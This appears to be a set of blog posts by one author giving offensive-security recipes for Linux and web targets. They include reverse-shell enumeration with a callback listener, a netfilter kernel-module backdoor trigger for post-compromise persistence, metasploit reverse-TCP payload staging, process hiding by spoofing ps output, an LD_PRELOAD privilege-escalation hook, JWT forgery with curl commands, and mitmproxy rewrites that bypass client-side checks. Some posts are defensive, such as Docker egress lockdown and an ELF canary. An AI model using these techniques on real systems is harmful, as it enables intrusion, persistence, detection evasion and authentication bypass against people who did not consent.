Forem: fx2301

Reverse Shell Enumeration

fx2301 — Mon, 21 Aug 2023 00:29:53 +0000

Why?

You're a defender wanting to audit to see which reverse shells work out of the box on a particular host. Or, you're a lazy attacker wanting to quickly determine which reverse shells will work.

When?

You have remote code execution on a Linux host, and the noise this enumeration generates is not an operational concern.

How?

Clone the repo:

git clone https://github.com/fx2301/reverseshellenum.git
cd reverseshellenum

Generate yourself a fresh script:

LHOST="10.10.0.123" LPORT=31373 python3 generate.py

Run the listener:

./listen.sh

Run the reverse shell enumerator on the target host:

./reverseshellenum.sh

Observe which shells work (refer to shells.json):

$ ./listen.sh
[i] Starting Reverse Shell Audit
  [+] Success: Bash -i
  [+] Success: Bash 196
  [+] Success: Bash read line
  [+] Success: Bash 5
  [+] Success: ncat -e
  [+] Success: Perl
  [+] Success: Perl no sh
  [+] Success: PHP Emoji
[i] Ending Reverse Shell Audit

PR's welcome! Kudos to revshells.com for the raw material.

Docker image recon

fx2301 — Thu, 02 Mar 2023 19:55:53 +0000

Why?

You want to find weaknesses to exploit in an third party docker image.

When?

You have access to a target docker image ahead of exploitation.

How?

Be wary of your local docker setup

Assuming you already have the docker image locally you want to be able to passively inspect it first. This is because default docker installations are not inherently secure. There's lots of good documentation on this from Docker themselves (see Docker Security, especially Rootless mode). If in doubt it always pays to see what precautions a forensics or incident response team would take with an untrusted docker image (google is your friend here).

Passively inspect layers

A good starting point is inspecting layers. Software engineers optimize their build processes around the semantic and performance benefits of docker layers, so the layer that changes the most will likely be the last, smallest, and the most juicy (i.e. configuration and code that's specific to the third party). Even better, is that likely the second to last layer will be a neat presentation of the code's third-party dependencies. You can inspect the layers with an open source tool, called dive. If you have a more command-line friendly way you do this, please comment below. I'd love to hear about it.

This is as straight-forward as:

dive IMAGE

Once you find something juicy you can selectively extract files from the container like so:

export ID=$(docker create IMAGE)
docker cp $ID:/PATH_WITHIN_IMAGE LOCAL_PATH

Run within the image

If it's worth risking running the image locally there are things you can do to limit your exposure. The first is you don't actively want to undo the security benefits docker does provide you. Your image may be expecting to run with --cap-add=SYS_ADMIN but that doesn't mean you should! Here's an example of parameters that directly increase the risk of container escape: container escapes.

Override the entrypoint

You'll want to override the default behavior of the image. A Dockerfile like this that overrides the ENTRYPOINT may get you going in the right direction (assuming that you are heading in the direction of adding your own COPY directives to launch your own code):

FROM <IMAGE>

EXPOSE 8080/tcp
ENTRYPOINT ["python3", "-m", "http.server"] 
CMD ["8080"]

Lock down egress to the internet

Before you run this, you may want to lock down egress in case the image calls home in some way. I didn't find a very satisfactory answer for this without going the route of opaque plugins to handle the task for you. Cribbing from the docker network documentation, we can at least create our own internal network bridge (i.e. with no egress gateway to the internet at large). This isn't ideal as it's still exposing your host:

docker network create --internal egress-restricted-net

From here we specify --network egress-restricted-net when running our image as a container. You can verify this behavior for yourself with:

FROM ubuntu:latest

RUN apt update && apt install -y iputils-ping iproute2

docker run --network egress-restricted-net --rm -it \
  $(docker build -q -f Dockerfile.egresstest .) /bin/bash -i

Remove networking entirely

Alternatively, if you can turn off networking entirely with --network none if you're willing to control the container entirely via stdin/stdout and docker run -it.

Capturing process memory from /proc/pid/mem

fx2301 — Fri, 09 Dec 2022 02:15:46 +0000

Why?

You want to inspect process memory to enable further pivots within an environment.

When?

You have root access to a Linux host, and no Linux Security Modules block access to /proc.

How?

A statically linked binary is especially convenient here - as is learning from how others have solve the problem (e.g. from Sliver's Dump Process Memory command).

This nim code reads metadata from /proc/pid/maps, and dumps to stdout offsets of /proc/pid/mem that are: readable, non executable, and non-file-backed. My experience mirrored the Sliver developer's in that [vvar] and [vdso] errored out when attempting to read them:

import std/os
import std/strutils
import std/strformat

if paramCount() != 1:
  echo &"Usage: {paramStr(0)} <pid>"
  quit(1)

let f = open(&"/proc/{paramStr(1)}/mem")

for line in lines(&"/proc/{paramStr(1)}/maps"):
  let parts = line.split(" ")
  # readable memory but not executable code
  if parts[1][0] == 'r' and not parts[1].contains('x'):
    # skip files mapped into memory
    if parts[3] == "00:00":
      # skip memory we will error out accessing
      if not(line.endsWith("[vvar]") or line.endsWith("[vdso]")):
        let addresses = parts[0].split("-")
        let offset_start = addresses[0].parseHexInt()
        let offset_end = addresses[1].parseHexInt()
        f.setFilePos(offset_start)
        var buffer: array[1024, int8]
        var remaining = offset_end-offset_start
        while remaining > 0:
          let n = f.readBytes(buffer, 0, min(remaining, 1024))
          remaining -= n
          discard stdout.writeBytes(buffer, 0, n)      

f.close()

Linux ELF Binary Canary PoC

fx2301 — Sun, 04 Dec 2022 03:09:25 +0000

Why?

You want to know when your defenses have failed and an attacker is running commands in your environment.

When?

You are defending a Linux host which has egress to the internet. You can hook into provisioning infrastructure automation to instrument the host. Notification via canarytokens.org is sufficient. Binary patching is allowed (i.e. binary hash differences won't trigger other forms of alerting noise). You have identified high signal-to-noise commands to hook into (i.e. ones that you expect only a hacker to run, e.g. nc, whoami, or even bash).

How?

This PoC is not automated, and relies on patching entries to include our canary library by overwriting the .dynamic section DEBUG entry, so it relies on binaries already using dynamic libraries.

Once we have patched a binary to load our canary library, all we need to do is ensure that our canary library exercises the canary token on startup.

We're using a 64-bit nc binary for this example.

Inspecting ELF

First, we inspect our binary with readelf:

$ readelf -d `which nc`

Dynamic section at offset 0x8ba8 contains 29 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libbsd.so.0]
...
 0x0000000000000015 (DEBUG)              0x0
...

There are three things of note here:

0x8ba8 is the start of the .dynamic section,
libbsd.so.0 is the first entry, and
a DEBUG entry exists.

Patching ELF

The corresponding code from elf.h in Linux is:

#define DT_NEEDED   1
#define DT_DEBUG    21

typedef struct {
  Elf64_Sxword d_tag;           /* entry tag value */
  union {
    Elf64_Xword d_val;
    Elf64_Addr d_ptr;
  } d_un;
} Elf64_Dyn;

We want to find entries by their d_tag, override a d_tag of DEBUG (21, i.e 0x15) with NEEDED (1, i.e. 0x01), and provide a valid d_ptr value.

We find both easily enough with hexdump:

$ hexdump -C `which nc` | grep -EA1 '^00008[bcde]..  .*  (01|15)'
00008ba0  70 4b 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |pK..............|
00008bb0  af 02 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
00008bc0  bb 02 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
00008bd0  ca 02 00 00 00 00 00 00  0c 00 00 00 00 00 00 00  |................|
--
00008c80  18 00 00 00 00 00 00 00  15 00 00 00 00 00 00 00  |................|
00008c90  00 00 00 00 00 00 00 00  03 00 00 00 00 00 00 00  |................|

Our first entry has a d_tag of 01 00 00 00 00 00 00 00 and a d_ptr of af 02 00 00 00 00 00 00 (resolving to "libbsd.so.0").

Our debug entry has a d_tag of 15 00 00 00 00 00 00 00 and d_ptr of 00 00 00 00 00 00 00 00.

We can patch our binary with this python code:

with open('nc.patched', 'rb+') as f:
    f.seek(0x8ba8)
    dt_needed_entry = bytearray(f.read(0x10))
    dt_needed_entry[8] = dt_needed_entry[8]+3 # eliminate "lib" prefix
    f.seek(0x8c88)
    f.write(dt_needed_entry)

We copy nc with: cp $(which nc) nc.patched, and patch it with python3 patch_nc.py.

ldd will now show us that nc.patched loads bsd.so.0:

$ ldd nc.patched
...snip...
        bsd.so.0 => not found
...snip...

So far so good!

Creating our canary shared library

Having create a "Web bug / URL token" at canarytokens.org, we embed a minimal HTTP GET in our shared library:

#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>

const char *canary_token_host = "canarytokens.com";
const char *canary_token = "YOUR_TOKEN";

void init(int argc, char **argv, char **envp) {
  int sock;

  if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    return;
  }

  struct sockaddr_in target;
  target.sin_family = AF_INET;

  struct hostent *h = gethostbyname(canary_token_host);
  char *target_ip = inet_ntoa(*((struct in_addr *)h->h_addr));

  if (inet_pton(AF_INET, target_ip, (void *)(&(target.sin_addr.s_addr))) <= 0) {
    return;
  }
  target.sin_port = htons(80);

  if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0) {
    return;
  }

  char payload[300];
  sprintf(payload,
    "GET /tags/articles/%s/index.html HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\n\r\n",
    canary_token, canary_token_host, argv[0]);
  send(sock, payload, strlen(payload), 0);

  char buf[100];
  read(sock, buf, 100);

  close(sock);
}

__attribute__((section(".init_array"))) typeof(init) *__init = init;

We verify it works correctly with a manual LD_PRELOAD:

$ gcc -shared -fPIC canary.c -o canary.so
$ LD_PRELOAD=`pwd`/canary.so ls
...snip...
$ curl -s 'http://canarytokens.org/download?fmt=incidentlist_json&token=YOUR_TOKEN&auth=YOUR_AUTH' | jq '.[].useragent' | tail -n 1
"ls"

Excellent! (The above URL is the Export link on the Manage Your Token page)

Wiring it all together for the PoC

We put our canary.so in place under bsd.so.0 and fire up nc.patched!

$ sudo cp canary.so /lib/x86_64-linux-gnu/bsd.so.0
$ ./nc.patched -h
...snip...
$ curl -s 'http://canarytokens.org/download?fmt=incidentlist_json&token=YOUR_TOKEN&auth=YOUR_AUTH' | jq '.[].useragent' | tail -n 1
"nc.patched"

Success!

Kernel module HTTP request sniffing

fx2301 — Fri, 02 Dec 2022 07:04:14 +0000

Why?

You want to leave a persistent backdoor post-compromise.

When?

You've root level access to a Linux host that allows kernel module installation (or you can add to a Docker layer), and you can induce HTTP requests to be sent to that host.

How?

Build a kernel module for yourself that uses a netfilter hook to interrogate incoming TCP packets for your desired trigger condition. Documentation, however, is practically non-existent. To quote libnfnetlink: "Where can I find documentation? At the moment, you will have to RTFS."

This example looks for an HTTP command with a magic prefix. It has no post-trigger behavior defined:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/ip.h>
#include <linux/string.h>

MODULE_LICENSE("MIT");
MODULE_AUTHOR("Anon");

static struct nf_hook_ops *nfho = NULL;

const char *magic_prefix = "GET /abracadabra/";

static unsigned int hfunc(void *priv, struct sk_buff *skb, 
    const struct nf_hook_state *state) {
  struct iphdr *iph;
  unsigned int offset;
  struct tcphdr buffer, *hdr;
  int payload_len;
  unsigned char buffer2[160];
  char *payload;
  int dest_port;
  char *http_command;

  if (!skb)
    return NF_ACCEPT;

  iph = ip_hdr(skb);
  if (iph->protocol == IPPROTO_TCP) {
    offset = skb_network_offset(skb) + (iph->ihl << 2);
    hdr = skb_header_pointer(skb, offset, sizeof(buffer), &buffer);
    offset += hdr->doff << 2;

    payload_len = skb->len - offset;
    dest_port = be16_to_cpu(hdr->dest);

    if (dest_port == 8000 && payload_len > 0) {
      payload = skb_header_pointer(skb, offset, min(160,payload_len), buffer2);
      http_command = strsep(&payload, "\n");
      if (strncmp(http_command, magic_prefix, strlen(magic_prefix)) == 0) {
        printk(KERN_ALERT "payload matches! %s\n", http_command);
      } else {
        printk(KERN_ALERT "payload does not match: %s\n", http_command);
      }
    }
  }

  return NF_ACCEPT;
}

static int __init LKM_init(void) {
  nfho = (struct nf_hook_ops*)kcalloc(1, sizeof(struct nf_hook_ops), GFP_KERNEL);

  nfho->hook = (nf_hookfn*)hfunc;
  nfho->hooknum = NF_INET_PRE_ROUTING
  nfho->pf = PF_INET;
  nfho->priority   = NF_IP_PRI_FIRST;

  nf_register_net_hook(&init_net, nfho);

  return 0;
}

static void __exit LKM_exit(void) {
  nf_unregister_net_hook(&init_net, nfho);
  kfree(nfho);
}

I'm concealing how to compile the module, and there's one obvious section omitted from the code. Not an obstacle to any practitioner.

Install the module, follow dmesg, and then issue curls to a locally running HTTP server on port 8000. Here's two different requests coming in:

[1690319.162544] payload does not match! GET /foo/bar HTTP/1.1
[1690335.073880] payload matches! GET /abracadabra/some_interesting_data HTTP/1.1

Adding trigger behavior to turn this into a dropper should be very doable. That would be closely related to the previous post: Using metasploit to stage your own payload.

Using metasploit to stage your own payloads

fx2301 — Fri, 02 Dec 2022 01:37:51 +0000

Why?

You want to make your C2 framework interoperable with metasploit framework so that you can deliver your own payloads post-exploit (Cobalt Strike does this).

When?

Your payload is position-independent code, fits within 4096 bytes, and delivering your payload in the clear is an acceptable indicator of compromise.

How?

This is a worked exampled for Linux x64 architecture.

Inspecting metasploit's stager code

Take a look at the source for stager_sock_reverse - the stager for linux/x64/shell/reverse_tcp.

Here's what's going on:

It allocates 4k of RAM for your payload,
connects to LHOST:LPORT over TCP,
reads max 4k into RAM, and
jumps to the start of your payload.

Note that LHOST and LPORT are hardcoded as 127.0.0.1 (0x0100007f) and 5555 (0xb315) respectively from movabs $0x100007fb3150002, %rcx. We don't care about this in the general case, because metasploit will override them based on our exploit options, but it matters for this demonstration.

Crafting a Hello World payload

This assembler is the bare minimum for a print statement that exits cleanly:

.global _start

_start:
  movabs $0x0A0D216f6c6c6548, %rcx # "Hello!\r\n"
  push %rcx 
  mov %rsp, %rsi # const char *buf
  mov $1, %rdi # int fd (stdout)
  mov $8, %rdx # size_t size
  mov $1, %rax # sys_write
  syscall

  mov $0, %rdi # int error_code
  mov $60, %rax # sys_exit
  syscall

  nop # 0x90

We compile like so:

$ gcc -s -static -nostdlib hello_world.s -o hello_world

This gives us an ELF executable (which is much more than we want):

$ file hello_world
hello_world: ELF 64-bit LSB executable, x86-64, 
  version 1 (SYSV), statically linked, stripped

We can find the offset to the code we want with hexdump (note, that our nop instruction is 90 in hex and is at position 0x1036):

$ hexdump -C hello_world
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
...snip...
*
00001000  48 b9 48 65 6c 6c 6f 21  0d 0a 51 48 89 e6 48 c7  |H.Hello!..QH..H.|
00001010  c7 01 00 00 00 48 c7 c2  08 00 00 00 48 c7 c0 01  |.....H......H...|
00001020  00 00 00 0f 05 48 c7 c7  00 00 00 00 48 c7 c0 3c  |.....H......H..<|
00001030  00 00 00 0f 05 90 00 2e  73 68 73 74 72 74 61 62  |........shstrtab|

We can then extract just our payload with dd:

$ dd if=hello_world ibs=1 \
  skip=$((0x1000)) count=$((0x36)) of=payload

Putting it all together

First, we serve our payload at the default LPORT:

$ nc -nlvp 5555 < payload &
Listening on 0.0.0.0 5555

Next we compile metasploit's stager from a local checkout:

$ gcc -nostdlib metasploit-framework/external/source/shellcode/linux/x64/stager_sock_reverse.s \
  -o stager_sock_reverse

Then we run the stager which grabs the payload and it executes:

$ ./stager_sock_reverse 
Connection received on 127.0.0.1 38126
Hello!

Success!

Process hiding in Linux

fx2301 — Wed, 19 Oct 2022 18:31:54 +0000

Why?

You want to evade detection post compromise of a host, and hide your process as something innocuous when someone inspects /proc or ps.

When?

You're host is Linux, and your executable is in C, or a language with FFI support.

How?

There are two classes of data to spoof:

The contents of /proc/pid/cmdline. This is what shows up with ps -f.
The contents of /proc/pid/comm and the first line of /proc/pid/status. This is what shows up with ps without -f.

In `nim`

import os

proc NimMain() {.cdecl, importc.}

proc syscall(number: clong): clong
    {.importc, varargs, header: "sys/syscall.h".}
var NR_PRCTL
    {.importc: "__NR_prctl", header: "unistd.h".}: int
var PR_SET_NAME
    {.importc: "PR_SET_NAME", header: "sys/prctl.h".}: int

proc main(argc: int, argv: cstringArray, envp: cstringArray): int
        {.cdecl, exportc.} =
    NimMain()

    const FAKE_COMMAND = "spoofed"

    # handles /proc/pid/comm and /proc/pid/status
    discard syscall(NR_PRCTL, PR_SET_NAME, cstring(FAKE_COMMAND))

    # handles /proc/pid/cmdline
    let totalLength = len(argv[0])
    var i = 0
    for ch in FAKE_COMMAND:
        argv[0][i] = FAKE_COMMAND[i]
        i += 1
    argv[0][i] = '\x00'
    for j in i .. totalLength:
        argv[0][j] = '\x00'

    sleep(60000)

Note that you'll need to compile this with --nomain.
Note that as argc and envp is consecutive in memory this means that a longer FAKE_COMMAND than the actual argv[0] means we overwrite the contents of /proc/pid/environ. To work around this, ensure your executable has a longer name than the what you want to spoof as.

PrivEsc with LD_PRELOAD

fx2301 — Sat, 15 Oct 2022 17:55:22 +0000

Why?

You need root access on a Linux host.

When?

You have write access to the file-system, can set environment variables for root, and root runs processes.

How?

Craft a C program with an init function registered with .init_array.
Compile the C program as an .so binary for the matching architecture.
Write the binary to the target host's filesystem.
Set the LD_PRELOAD environment variable.
Wait for or trigger the root process execution.

Example

#include <unistd.h>

void init(int argc, char **argv, char **envp) {
    // PrivEsc hook
}

__attribute__((section(".init_array"))) typeof(init) *__init = init;

Exploiting unverified JWT signatures

fx2301 — Wed, 19 Jan 2022 19:47:27 +0000

Why?

Bypassing authentication is a major win as an attacker.

When?

Test for this exploit against all JWT implementations. It's so fast to do.

How?

Use the tool I've written, jwt_attack. Alternatively, make a whitespace modification to the header or payload, and use the unmodified signature. If the modified JWT is accepted then that means you can craft any payload you want.

Safe practice

The jwt_attack repo comes with a vulnerable server that you can attack.

Using `jwt_attack`

We pass the entire curl statement along with our desired JWT payload:

python3 jwt_attack.py --target-payload '{"username":"admin"}' \
  curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'

We get back a token for our desired JWT payload as well as the curl statement to use:

Testing for identical results...
Attempting attack: signature not verified ... SUCCESS
Attempting attack: none algorithm allowed ... FAILURE

Successful JWT:
{
  "token": "eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU",
  "header": {
    "alg": "HS256",
    "random": 0.9838718504712899
  },
  "payload": {
    "username": "admin"
  },
  "signature": "8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU"
}

Successful curl command:
curl http://localhost:5000/signature_not_verified -H 'Authorization: eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'

By hand

First let's decode the payload:

echo 'eyJ1c2VybmFtZSI6ICJndWVzdCJ9' | base64 -d              
{"username": "guest"}

Now we add some whitespace:

echo '{"username": "guest" }' | base64 
eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo=

Note that we have to be careful here because JWTs use a URL-safe variation of base64 encoding. In this case it means simply dropping the padding.

We put our token back together and retest our curl statement:

curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'

We see the same response as we do with the unmodified token. So now we know we can make changes to our payload!

<p>Not quite. Your username needs to be admin.</p>

echo '{"username": "admin"}' | base64   
eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg==

Once against we reassemble our JWT and issue our new curl statement:

curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'

We're in!

<p>Success! Your username is admin.</p>

Art licensed under Creative Commons by OpenClipart-Vectors

GraphQL API recon with mitmproxy

fx2301 — Sat, 15 Jan 2022 02:03:08 +0000

Why?

Capturing live examples of GraphQL queries and responses all in one place vastly simplifies recon.

When?

You most want to do this when introspection is disabled. Otherwise when you need examples to help make sense of the API's semantics, or to develop a better intuition for where the weaknesses may be.

How?

This script works out-of-the-box for the majority scenario: POST requests to /graphql that use the operationName parameter.

mitmdump -s capture.py

capture.py:

import json
import re

from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
  if flow.request.url.endswith('/graphql'):
    payload = json.loads(flow.request.content.decode('utf-8'))
    filename = re.sub(r'[^a-zA-Z0-9]', '_', payload['operationName']) + '.example.txt'
    with open(filename, 'w') as f:
      json.dump(payload, fp=f, indent=2)
      f.write(f"\n\n// ==== REQUEST ====\n\n")
      f.write(f"{payload['query']}\n\n")
      f.write("// ==== RESPONSE ====\n\n")
      json.dump(json.loads(flow.response.content), fp=f, indent=2)

Modifying a site's JavaScript with mitmproxy

fx2301 — Fri, 14 Jan 2022 17:35:57 +0000

Why?

You want to bypass client-side constraints in a JavaScript app you're hacking.

When?

Easiest to do when <script integrity> (Subresource Integrity) is not in use.

How?

mitmdump -s myscript.py

myscript.py:

from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
  if flow.response and flow.response.content:
    flow.response.content = flow.response.content.replace(
      UNHACKED_FRAGMENT,
      HACKED_FRAGMENT
    )

Gotchas

One mistake you can make it trying to replace the fragments of code you see in your browser debugger. That won't necessarily correspond 1-1 (e.g. in the case of unobfuscated code). That's why the examples here don't match against variable names or internal function names.

Examples

Disabling logic guards

unhacked.js:

if (!email.endswith('@trusted.com')) {
  return;
}

hacked.js:

if (!email.includes('@')) {
  return;
}

script.py:

flow.response.content = flow.response.content.replace(
  b'endsWith("@trusted.com")',
  b'includes("@")'
)

Adding allowed file extensions for upload

unhacked.js:

const allowed = ['png', 'jpg'];

hacked.js:

const allowed = ['png', 'exe', 'jpg'];

script.py:

flow.response.content = flow.response.content.replace(
  b"'png',",
  b"'png','exe',"
)

Art licensed under Creative Commons by OpenClipart-Vectors

Unpacking js.map files

fx2301 — Fri, 14 Jan 2022 16:50:59 +0000

Why?

You want to review JavaScript for vulnerabilities outside of the browser.

When?

This can be done when .js.map files are available. The hint will be unofusicated code in the browser debugger, and //# sourceMappingURL= lines on the end of obfusicated .js files.

How?

unpack failed on some content for me and consumed the first character of filenames. source-map-unpacker worked well:

npm install source-map-unpacker
node ./node_modules/source-map-unpacker/unmap.js \
  -p code.js.map -o code

Art licensed under Creative Commons by gforsythe

Forem: fx2301

Reverse Shell Enumeration

Why?

When?

How?

Docker image recon

Why?

When?

How?

Be wary of your local docker setup

Passively inspect layers

Run within the image

Override the entrypoint

Lock down egress to the internet

Remove networking entirely

Capturing process memory from /proc/pid/mem

Why?

When?

How?

Linux ELF Binary Canary PoC

Why?

When?

How?

Inspecting ELF

Patching ELF

Creating our canary shared library

Wiring it all together for the PoC

Kernel module HTTP request sniffing

Why?

When?

How?

Using metasploit to stage your own payloads

Why?

When?

How?

Inspecting metasploit's stager code

Crafting a Hello World payload

Putting it all together

Process hiding in Linux

Why?

When?

How?

In nim

PrivEsc with LD_PRELOAD

Why?

When?

How?

Example

Exploiting unverified JWT signatures

Why?

When?

How?

Safe practice

Using jwt_attack

By hand

GraphQL API recon with mitmproxy

Why?

When?

How?

Modifying a site's JavaScript with mitmproxy

Why?

When?

How?

Gotchas

Examples

Disabling logic guards

Adding allowed file extensions for upload

Unpacking js.map files

Why?

When?

How?

In `nim`

Using `jwt_attack`